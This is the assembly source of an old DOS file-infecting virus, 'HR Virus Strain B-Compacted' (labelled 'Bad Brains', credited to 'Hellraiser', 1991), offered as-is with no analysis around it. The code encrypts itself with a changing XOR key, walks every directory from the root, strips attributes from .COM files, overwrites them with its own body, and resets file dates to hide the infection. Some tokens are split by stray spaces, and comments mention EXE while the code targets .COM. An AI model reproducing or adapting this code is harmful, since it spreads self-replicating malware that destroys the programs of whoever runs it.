2022-08-21 09:07:57 +00:00
; HR Virus Strain B-Compacted
; Bad Brains
; Created 8/5/91 by Hellraiser
; Destructive Code - Beware!
fileattr EQU 21
filetime EQU 22
filedate EQU 24
filename EQU 30
virus_size EQU 554
code_start EQU 0100h
code seg ment 'code'
assume cs : code , ds : code , es : code
org code_start
main proc near
jmp virus_start
encrypt_val dw 0000h
virus_start:
call encrypt ;encrypt/decrypt file
jmp virus ;go to start of code
encrypt:
push cx
mov cx , offset virus_code + virus_size
mov si , offset virus_code ;start encryption at data
mov di , si
cld
xor_loop:
lodsw
xor ax , encrypt_val ;get encryption key
stosw
dec cx
jcxz stoppa
jmp xor_loop
stoppa:
pop cx
ret
infectfile:
mov dx , code_start ;where virus starts in memory
mov bx , handle ;load bx with handle
mov cx , virus_size ;number of bytes to write
call encrypt ;encrypt file
mov ax , 4000h ;write to file
int 21h ;
call encrypt ;fix up the mess
ret
virus_code:
vname db 'SKISM' , 0
wildcards db "*" , 0 ;search for directory argument
filespec db "*.COM" , 0 ;search for EXE file argument
rootdir db "\" , 0 ;argument for root directory
dirdata db 43 dup ( ? ) ;holds directory DTA
filedata db 43 dup ( ? ) ;holds files DTA
diskdtaseg dw ? ;holds disk dta segment
diskdtaofs dw ? ;holds disk dta offset
tempofs dw ?
tempseg dw ?
drivecode db ? ;holds drive code
currentdir db 64 dup ( ? ) ;save current directory into this
handle dw ? ;holds file handle
orig_time dw ?
orig_date dw ?
orig_attr dw ?
idbuffer dw 2 dup ( ? )
virus:
mov ax , 3000h ;get dos version
int 21h ;
cmp al , 02h ;is it at least 2.00?
jb bus ;won't infect less than 3.00
mov ah , 2ch ;get time
int 21h ;
add dh , cl ;add the two registers
mov encrypt_val , dx ;save m_seconds to encrypt val so
;we have up to 65,535 mutations
setdta:
mov dx , offset di rdata ;offset of where to hold new dta
mov ah , 1ah ;set dta address
int 21h ;
newdir:
mov ah , 19h ;get drive code
int 21h ;
mov dl , al ;save drivecode
inc dl ;add one to dl, because functions differ
mov ah , 47h ;get current directory
mov si , offset currentdir ;buffer to save directory in
int 21h ;
mov dx , offset rootdir ;move dx to change to root directory
mov ah , 3bh ;change directory to root
int 21h ;
scandirs:
mov cx , 13h ;look for directorys
mov dx , offset wildcards ;look for '*'
mov ah , 4eh ;find first file
int 21h ;
cmp ax , 12h ;no first file?
jne di rloop ;no dirs found? bail out
bus:
jmp abort
copyright db 'Bad Brains'
dirloop:
mov ah , 4fh ;find next file
int 21h ;
cmp ax , 12h
je quit ;no more dirs found, roll out
chdir:
mov dx , offset di rdata + filename ;point dx to fcb - filename
mov ah , 3bh ;change directory
int 21h ;
mov ah , 2fh ;get current dta address
int 21h ;
mov [ di skdtaseg ], es ;save old segment
mov [ di skdtaofs ], bx ;save old offset
mov dx , offset filedata ;offset of where to hold new dta
mov ah , 1ah ;set dta address
int 21h ;
scandir:
mov cx , 07h ;find any attribute
mov dx , offset filespec ;point dx to "*.EXE",0
mov ah , 4eh ;find first file function
int 21h ;
cmp ax , 12h ;was file found?
jne transform
nextexe:
mov ah , 4fh ;find next file
int 21h ;
cmp ax , 12h ;none found
jne transform ;found see what we can do
mov dx , offset rootdir ;move dx to change to root directory
mov ah , 3bh ;change directory to root
int 21h ;
mov ah , 1ah ;set dta address
mov ds ,[ di skdtaseg ] ;restore old segment
mov dx ,[ di skdtaofs ] ;restore old offset
int 21h ;
jmp di rloop
quit:
jmp rollout
transform:
mov ah , 2fh ;temporally store dta
int 21h ;
mov [ tempseg ], es ;save old segment
mov [ tempofs ], bx ;save old offset
mov dx , offset filedata + filename
mov bx , offset filedata ;save file...
mov ax ,[ bx ] + filedate ;date
mov orig_date , ax ;
mov ax ,[ bx ] + filetime ;time
mov orig_time , ax ; and
mov ax ,[ bx ] + fileattr ;
mov ax , 4300h
int 21h
mov orig_attr , cx
mov ax , 4301h ;change attributes
xor cx , cx ;clear attributes
int 21h ;
mov ax , 3d00h ;open file - read
int 21h ;
jc fixup ;error - find another file
mov handle , ax ;save handle
mov ah , 3fh ;read from file
mov bx , handle ;move handle to bx
mov cx , 02h ;read 2 bytes
mov dx , offset idbuffer ;save to buffer
int 21h ;
mov ah , 3eh ;close file for now
mov bx , handle ;load bx with handle
int 21h ;
mov bx , idbuffer ;fill bx with id string
cmp bx , 03ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah , 1ah ;set dta address
mov ds ,[ tempseg ] ;restore old segment
mov dx ,[ tempofs ] ;restore old offset
int 21h ;
jmp nextexe
doit:
mov dx , offset filedata + filename
mov ax , 3d02h ;open file read/write access
int 21h ;
mov handle , ax ;save handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax , 5701h ;restore original
mov bx , handle ;
mov cx , orig_time ;time and
mov dx , orig_date ;date
int 21h ;
mov ax , 4301h ;restore original attributes
mov cx , orig_attr
mov dx , offset filedata + filename
int 21h
;mov bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah , 3bh ;try to fix this
mov dx , offset rootdir ;for speed
int 21h ;
mov ah , 3bh ;change directory
mov dx , offset currentdir ;back to original
int 21h ;
Abort:
mov ax , 4c00h ;end program
int 21h ;
main endp
code ends
end main
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